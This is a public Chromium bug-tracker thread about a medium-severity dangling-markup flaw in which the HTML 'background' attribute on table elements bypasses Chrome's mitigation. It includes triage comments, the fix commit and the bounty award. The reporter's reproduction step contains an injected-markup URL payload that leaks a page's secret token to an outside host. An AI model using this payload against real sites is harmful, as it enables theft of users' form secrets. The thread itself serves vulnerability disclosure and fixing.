Starred by 3 users

Owner: futhark@chromium.org

CC: mkwst@chromium.org
andruud@chromium.org
ericwilligers@chromium.org
futhark@chromium.org
alancutter@chromium.org
style-bugs@google.com

Status: Fixed *(Closed)*

Components: Blink>CSS
Blink>SecurityFeature

Modified: Jul 29, 2022

Backlog-Rank: ----

Editors: ----

EstimatedDays: ----

NextAction: ----

OS: Linux, Android, Windows, Chrome, Mac

Pri: 1

Type: Bug-Security

Reward-1000
Security_Severity-Medium
allpublic
reward-inprocess
CVE_description-submitted
Target-80
Target-88
FoundIn-79
Target-81
Target-84
Target-83
Target-85
Target-86
Target-87
Target-89
Target-90
Target-91
Target-92
external_security_report
Target-94

M-94
Target-93
external_security_bug

Issue 1039885: Dangling markup attack through background attribute allows data exfiltration

Reported by herre...@gmail.com on Tue, Jan 7, 2020, 6:12 PM EST

Code

VULNERABILITY DETAILS

Chrome has a mitigation in place to prevent dangling markup attacks (https://www.chromestatus.com/features/5735596811091968) where requests containing the `\n` and `<` characters on the URL get blocked.

However, it is still possible to exfiltrate information through use of the background attribute on any of the following tags: <col> <colgroup> <table> <tbody> <td> <tfoot> <th> <thead> <tr>

This issue is similar to ~~bug 749852~~ and ~~bug 695474~~.

VERSION

Version 79.0.3945.88 (Official Build) (64-bit)

REPRODUCTION CASE

1. Go to https://lbherrera.me/chrome/dangling-markup/?xss=<table+background='https://example.org/?leak=
2. A cross-origin request will be made containing the secret token from the form.

CREDIT INFORMATION

Reporter credit: Luan Herrera (@lbherrera_)

Comment 1 by mbarb...@chromium.org on Wed, Jan 8, 2020, 1:59 PM EST Project Member

Status: Assigned (was: Unconfirmed)
Owner: andypaicu@chromium.org
Cc: mkwst@chromium.org
Labels: Security_Severity-Medium Security_Impact-Stable OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows
Components: Blink>SecurityFeature

andypaicu: Could you take a look at this when you have a chance?

Setting severity label to match ~~issue 749852~~.

Comment 2 by sheriffbot@chromium.org on Thu, Jan 9, 2020, 9:47 AM EST Project Member

Labels: Target-80 M-80

Setting milestone and target because of Security_Impact=Stable and medium severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 3 by sheriffbot@chromium.org on Thu, Jan 9, 2020, 10:23 AM EST Project Member

Labels: Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 4 by sheriffbot@chromium.org on Wed, Jan 22, 2020, 10:51 AM EST Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 5 by sheriffbot@chromium.org on Thu, Feb 6, 2020, 10:45 AM EST Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 29 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 6 by sheriffbot on Thu, Apr 9, 2020, 12:28 PM EDT Project Member

Labels: -M-80 Target-81 M-81

Comment 7 by sheriffbot on Wed, May 20, 2020, 1:29 PM EDT Project Member

Labels: -M-81 M-83 Target-83

Comment 8 by sheriffbot on Tue, Jul 14, 2020, 1:33 PM EDT Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 188 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 9 by sheriffbot on Wed, Jul 15, 2020, 1:34 PM EDT Project Member

Labels: -M-83 Target-84 M-84

Comment 10 by sheriffbot on Tue, Jul 28, 2020, 1:38 PM EDT Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 202 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 11 by andypaicu@chromium.org on Wed, Jul 29, 2020, 2:06 AM EDT Project Member

Owner: mkwst@chromium.org
Cc: -mkwst@chromium.org

Hi Mike, can you help triage this to someone more appropriate?

Comment 12 by mkwst@chromium.org on Wed, Jul 29, 2020, 2:39 AM EDT Project Member

Owner: ericwilligers@chromium.org
Cc: mkwst@chromium.org alancutter@chromium.org futhark@chromium.org
Components: Blink>CSS

ericwilligers: Can you help me find a reasonable place to insert a check against `KURL::PotentiallyDanglingMarkup()` (https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/platform/weborigin/kurl.h;drc=5875777d5ab5ce5244b2d84d4281ee1a95bcc3cd;l=231)? I'm not familiar enough with the processing for `background`, and I'm getting a bit lost on the way from `HTMLTableElement::CollectStyleForPresentationAttribute` to `ElementStyleResources::LoadPendingImages`. It seems like there should be some chokepoint at which we could check this attribute of the URL to be requested without doing one-off checks for each element that supports `background` (and, presumably, other presentational attributes).

If you can point me to a reasonable spot, and reassign the bug back to me, I'd very much appreciate it! (CCing one or two other folks from //core/css/OWNERS).

Comment 13 by ericwilligers@chromium.org on Wed, Jul 29, 2020, 7:10 AM EDT Project Member

Owner: andruud@chromium.org

Re-assigning question to andruud.

For background, could CSSImageValue::CacheImage or CSSImageValue::ReResolveURL be used?

Note that a few SVG elements have URL attributes, should they also be checked?

Comment 14 by mkwst@chromium.org on Wed, Jul 29, 2020, 7:26 AM EDT Project Member

Cc: ericwilligers@chromium.org

> Re-assigning question to andruud.

Thank you, and hello!

> Note that a few SVG elements have URL attributes, should they also be checked?

If they cause requests to be made, then yes. Is this the tip of a scary iceberg? :)

Comment 15 by mkwst@chromium.org on Wed, Jul 29, 2020, 3:15 PM EDT Project Member

Pasting in from chat for posterity: andruud@ suggested:

"""
So as far as I can tell from taking a quick look:
we don't really support _not_ loading an image.
So far I think `CSSImageValue::CacheImage` would be the best (/ least bad) place to check for your flag
But we can't return nullptr there. The rest of the code is not prepared for that.

If we were to solve it in CSS, then we could either 1) "pillage" the URL (but I guess it might look weird in the Inspector's network debugger, I don't know), or 2) we could implement a new `StyleImage` subclass which does nothing, _or_ 3) we could make it possible to return `nullptr` from `CSSImageValue::CacheImage`

I'd look into (2) first, but not obvious which is more painful of (2) and (3).
"""

Comment 16 by andruud@chromium.org on Fri, Jul 31, 2020, 4:59 AM EDT Project Member

Status: Available (was: Assigned)
Owner: ----

Comment 17 by futhark@chromium.org on Mon, Aug 3, 2020, 6:35 AM EDT Project Member

Status: Assigned (was: Available)
Owner: futhark@chromium.org

I recently did a change so that we can have StylePendingImage for image resources which is not loaded because of display:none/contents. Letting CacheImage() return null in this case and keep the image resource a StylePendingImage like we do for display:none seems like a reasonable way to do this, I think.

P1 security issue should not be unassigned, so assigning to myself.

Comment 18 by futhark@chromium.org on Mon, Aug 3, 2020, 7:06 AM EDT Project Member

Oh, wait a sec. I think we have DCHECKs that we don't have StylePendingImage if we have a LayoutObject and try to paint it.

Comment 19 by futhark@chromium.org on Tue, Aug 11, 2020, 9:13 AM EDT Project Member

Status: Started (was: Assigned)

Comment 20 by sheriffbot on Wed, Aug 26, 2020, 1:39 PM EDT Project Member

Labels: -M-84 Target-85 M-85

Comment 21 by sheriffbot on Wed, Oct 7, 2020, 1:39 PM EDT Project Member

Labels: -M-85 M-86 Target-86

Comment 22 by sheriffbot on Fri, Oct 30, 2020, 6:48 PM EDT Project Member

Labels: reward-potential

Comment 23 by sheriffbot on Wed, Nov 18, 2020, 12:24 PM EST Project Member

Labels: -M-86 M-87 Target-87

Comment 24 by sheriffbot on Wed, Jan 20, 2021, 12:24 PM EST Project Member

Labels: -M-87 Target-88 M-88

Comment 25 by adetaylor@google.com on Wed, Jan 20, 2021, 6:56 PM EST Project Member

Labels: -reward-potential external_security_report

Comment 26 by sheriffbot on Mon, Feb 22, 2021, 11:16 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 27 by ajgo@google.com on Wed, Feb 24, 2021, 2:50 PM EST Project Member

security-triage: The repro for this now 404s - it would be helpful to have a testcase attached to this issue?

Comment 28 by herre...@gmail.com on Wed, Feb 24, 2021, 3:10 PM EST

#27: I have attached the testcase and also put back the repro on the server. Thanks for the ping!

index.php
313 bytes View Download

Comment 29 by sheriffbot on Wed, Mar 3, 2021, 12:23 PM EST Project Member

Labels: -M-88 Target-89 M-89

Comment 30 by sheriffbot on Wed, Mar 10, 2021, 8:06 PM EST Project Member

Labels: reward-potential

Comment 31 by zhangtiff@google.com on Wed, Mar 17, 2021, 7:11 PM EDT Project Member

Labels: -reward-potential external_security_bug

Comment 32 by sheriffbot on Thu, Apr 15, 2021, 12:24 PM EDT Project Member

Labels: -M-89 M-90 Target-90

Comment 33 by sheriffbot on Mon, May 17, 2021, 11:18 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 34 by futhark@chromium.org on Wed, May 19, 2021, 5:35 AM EDT Project Member

Status: Available (was: Started)
Owner: ----
Labels: Pri-2

Comment 35 by sheriffbot on Wed, May 19, 2021, 1:38 PM EDT Project Member

Labels: -Pri-2 Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 36 by sheriffbot on Wed, May 26, 2021, 12:25 PM EDT Project Member

Labels: -M-90 M-91 Target-91

Comment 37 by sheriffbot on Mon, Jun 28, 2021, 11:18 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 38 by sheriffbot on Fri, Jul 9, 2021, 11:18 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 39 by sheriffbot on Tue, Jul 20, 2021, 11:17 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 40 by adetaylor@google.com on Wed, Jul 21, 2021, 2:56 PM EDT Project Member

Status: Assigned (was: Available)
Owner: futhark@chromium.org
Labels: FoundIn-79

futhark@, sorry, security bugs can't be unowned... please could you figure out who should take care of moving this forward?

Comment 41 by sheriffbot on Thu, Aug 5, 2021, 1:43 PM EDT Project Member

Labels: -Security_Impact-Stable Security_Impact-Extended

Comment 42 by sheriffbot on Fri, Aug 6, 2021, 12:24 PM EDT Project Member

Labels: -Security_Impact-Extended

Comment 43 by sheriffbot on Fri, Aug 6, 2021, 12:29 PM EDT Project Member

Labels: Security_Impact-Extended

Comment 44 by sheriffbot on Fri, Aug 6, 2021, 1:30 PM EDT Project Member

Labels: -Security_Impact-Extended Security_Impact-Stable

Comment 45 by sheriffbot on Sat, Aug 7, 2021, 12:24 PM EDT Project Member

Labels: -M-91 Target-92 M-92

Comment 46 by sheriffbot on Mon, Aug 16, 2021, 1:14 PM EDT Project Member

Labels: -Security_Impact-Stable Security_Impact-Extended

Comment 47 by sheriffbot on Sat, Sep 11, 2021, 12:24 PM EDT Project Member

Labels: -M-92 M-93 Target-93

Comment 48 by sheriffbot on Wed, Sep 22, 2021, 12:24 PM EDT Project Member

Labels: -M-93 Target-94 M-94

Comment 49 by futhark@chromium.org on Thu, Oct 14, 2021, 10:10 AM EDT Project Member

Cc: andruud@chromium.org

Comment 50 by futhark@chromium.org on Thu, Oct 14, 2021, 7:42 PM EDT Project Member

Blockedon: 1260189

Comment 51 by futhark@chromium.org on Thu, Oct 14, 2021, 7:50 PM EDT Project Member

Status: Started (was: Assigned)

Comment 52 by Git Watcher on Fri, Oct 15, 2021, 10:34 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/349a35b1966756c71ac7c5bd7857958e3d4dc799

commit 349a35b1966756c71ac7c5bd7857958e3d4dc799
Author: Rune Lillesveen <futhark@chromium.org>
Date: Fri Oct 15 14:33:17 2021

Handle PotentiallyDanglingMarkup() for CSSImageValue

The flag was lost in the KURL -> String -> KURL conversions. Store the
flag on CSSImageValue and always re-resolve from the original relative

url before fetching when that flag is set. The blocking happens in BaseFetchContext::CanRequestInternal().

~~Bug: 1039885~~
Change-Id: Ia5777739a0ee0bee591163873926d19e0ea014bf
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3226142
Reviewed-by: Anders Hartvoll Ruud <andruud@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Rune Lillesveen <futhark@chromium.org>
Cr-Commit-Position: refs/heads/main@{#932004}

[modify] https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/build.gni
[modify] https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/css_image_value.h
[modify] https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/css_image_value.cc
[add] https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/css_image_value_test.cc

Comment 53 by futhark@chromium.org on Fri, Oct 15, 2021, 2:32 PM EDT Project Member

Status: Fixed (was: Started)

Comment 54 by sheriffbot on Sat, Oct 16, 2021, 12:41 PM EDT Project Member

Labels: reward-topanel

Comment 55 by sheriffbot on Sat, Oct 16, 2021, 1:41 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 56 by amyressler@google.com on Wed, Oct 20, 2021, 3:52 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-1000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 57 by amyressler@chromium.org on Wed, Oct 20, 2021, 5:16 PM EDT Project Member

Congratulations, Luan! The VRP Panel has decided to award you $1000 for this report. Thank you for this report and nice work!

Comment 58 by amyressler@google.com on Thu, Oct 21, 2021, 4:47 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 59 by amyressler@chromium.org on Tue, Jan 4, 2022, 12:36 PM EST Project Member

Labels: Release-0-M97

Comment 60 by amyressler@google.com on Tue, Jan 4, 2022, 1:34 PM EST Project Member

Labels: CVE-2022-0113 CVE_description-missing

Comment 61 by sheriffbot on Sat, Jan 22, 2022, 1:29 PM EST Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 62 by amyressler@chromium.org on Fri, Jul 29, 2022, 5:36 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted